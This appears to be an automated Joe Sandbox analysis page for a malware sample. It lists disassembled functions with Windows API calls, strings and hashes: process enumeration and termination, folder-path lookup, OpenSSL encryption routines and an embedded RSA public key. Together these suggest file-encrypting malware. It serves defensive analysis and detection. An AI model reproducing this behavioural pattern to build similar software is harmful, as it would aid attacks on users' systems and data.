Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 608ffdc866a55f30e1ae8f6dda7e69426a5b7cebb280104067948b8b4f2aab7d
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 608ffdc866a55f30e1ae8f6dda7e69426a5b7cebb280104067948b8b4f2aab7d
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: ff819a1beb73fe93f96f70b0cc398db439f21dea7856bdc4a3498f05d2d4d50b
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: ff819a1beb73fe93f96f70b0cc398db439f21dea7856bdc4a3498f05d2d4d50b
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789ABCDEF, xrefs: 004574D6
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
+, xrefs: 00457475

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24, xrefs: 00419EC4
p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24$p2Q
API String ID: 2102423945-1170899715
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
